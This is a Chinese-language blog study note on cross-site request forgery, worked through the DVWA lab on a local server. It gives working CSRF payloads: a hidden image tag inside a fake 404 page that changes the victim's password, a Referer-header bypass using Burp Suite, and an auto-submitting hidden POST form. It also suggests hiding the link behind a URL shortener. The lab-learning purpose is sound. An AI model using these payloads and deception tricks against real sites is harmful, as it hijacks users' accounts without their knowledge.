CSRF

感觉要写的东西蛮多的,所以单独拉出来讲一下

CSRF

CSRF,全程cross-site request forgery 翻译过来就是跨站请求伪造,是指利用受害者尚未是小的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账,改密等)。CSRF与XSS最大的区别就在于,CSRF并没有盗取cookie而是直接利用。
理解:攻击者盗用了你的身份,以你的名义进行某些非法操作。CSRF能够使用你的账户发送邮件,获取你的敏感信息,甚至盗走你的财产

CSRF攻击原理

img 图片来自:https://www.cnblogs.com/hyddd/archive/2009/04/09/1432744.html

漏洞检测

通过html标签发送合法跨域请求

抓取正常请求的数据包,如果不存在token验证,去掉请求头中Referer字段再重新提交,如果服务器返回正常页面,基本可以确定存在CSRF漏洞
漏洞利用
通过html标签发送合法跨越请求
img表情不受同源策略的限制,使用img标签的src属性产生的跨域请求被浏览器认为是合法请求,诱导用户点击链接产生攻击

1
<img src="URL" />

为什么说CSRF没有获取cookie,却能利用cookie攻击?
攻击者的网站虽然是跨域的,但是他构造的链接是源网站的,因为源网站存在CSRF,构造的链接跟源网站同源,所以浏览器自动携带cookie发起访问

实现攻击

1.缩写URL,如果我们直接耍上http://127.0.0.1:81/DVWA-master/vulnerabilities/csrf/?password_new=hacker1&password_conf=hacker1&Change=Change#这段,傻子都看得出来是个陷阱,所以这个时候我们可以利用网络上现有的URL缩写工具,进行缩写,以达到欺骗的目的
2.构建404网页进行欺骗这里我们可以写一段html代码,将我们的URL藏匿于其中。

low:

首先需要将网页放置在
img
然后构建一个网站,

1
2
3
4
5
6
7
8
9
10
11
12
<!DOCTYPE html>
<html>
<title>CSRF</title>
</head>
<img src="http://127.0.0.1:81/DVWA-master/vulnerabilities/csrf/?password_new=hacker1&password_conf=hacker1&Change=Change#"border="0" style="display:none;">
<h1>
404<h1>
<h2>
file not found.<h2>
<body>
</body>
</html>
1
<title>记得要有</title>

这样 当我们登录了
img
这个网站后,DVWA那边的账号密码就发生了改变。还是很神奇的。

medium:
1
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) 

stripos()函数:referer是否包含server_name中的参数
server_name:http包头的Host参数,及要访问的主机名
漏洞利用:
因为他比对的是referer
我们先看看正常修改的抓包页面:
img

在HOST和referer都含有127.0.0.1:81是,通过验证,所以修改密码成功,那么再我们的CSRF页面中,

img 这里的Referer和原页面的不一样,那么我们该如何修改呢?, **方法一**就是直接在文件名上动手将文件命名为何HOST一样 **但是**在这里不可行,因为文件名不能有冒号,所以在这里是行不通的 **方法二**直接burpsuit抓包,更改Referer img 直接在这里添加即可,也可以绕过
high:
1
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

这里比对的是token,每次都会生成一个不同的token,几种常见的CSRF方式:

1
2
3
4
<img>标签属性
<iframe>标签属性
<script>标签属性
JavaScript方法:Image对象、XMLHTTP对象

HTML内联框架元素 (<iframe>) 表示嵌套的browsing context。它能够将另一个HTML页面嵌入到当前页面中。详细解释https://developer.mozilla.org/zh-CN/docs/Web/HTML/Element/iframe#example2,感觉这个和img是一个意思,在网页中会直接被"引用或者说打开?"的感觉
**HTML </script/> **元素用于嵌入或引用可执行脚本。这通常用作嵌入或者指向 JavaScript 代码。

所以这题要绕过反CSRF机制,关键是要获取token,要利用受害者的cookie去修改密码的页面获取关键的token。
搜寻了一下网络上的方法,整理可得:
1.使用javascript脚本,在打开我们构建的危险时,脚本会通过框架偷偷打开修改密码的页面,获取其中的token,然后进行改密操作
但是由于涉及跨域的操作,所以这个操作也是不行滴;

2.利用XSS漏洞:
XSS还没学,等我学了再来补充吧。。。

拓展

引语:

任何的web脚本语言都可以选择以何种请求来接受数据,有$_GET $_POST $_REQUEST.

get型:

DVWA中,

1
2
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

这里的数据就是get类型的,所以html页面的构建,像上面一样即可

POST型

如何构建网页呢?

1
2
3
4
5
6
7
8
9
10
11
12
13

<form action="http://127.0.0.1:81/DVWA-master/vulnerabilities/csrf/" method=POST>
<input type="hidden" name="password_new" value="hacker1"/>
<input type="hidden" name="password_conf" value="hacker1"/>
<input type="submit" value="Change" name="Change"/>
</form>
<body>
<h1>404<h1>
<h2>file not found<h2>
</body>
<script>
document.forms[0]sumit();//这里是用了一个自动提交的脚本
</script>

使用burpsuit进行扫描:

Author

vague huang

Posted on

2021-01-22

Updated on

2021-01-28

Licensed under

Comments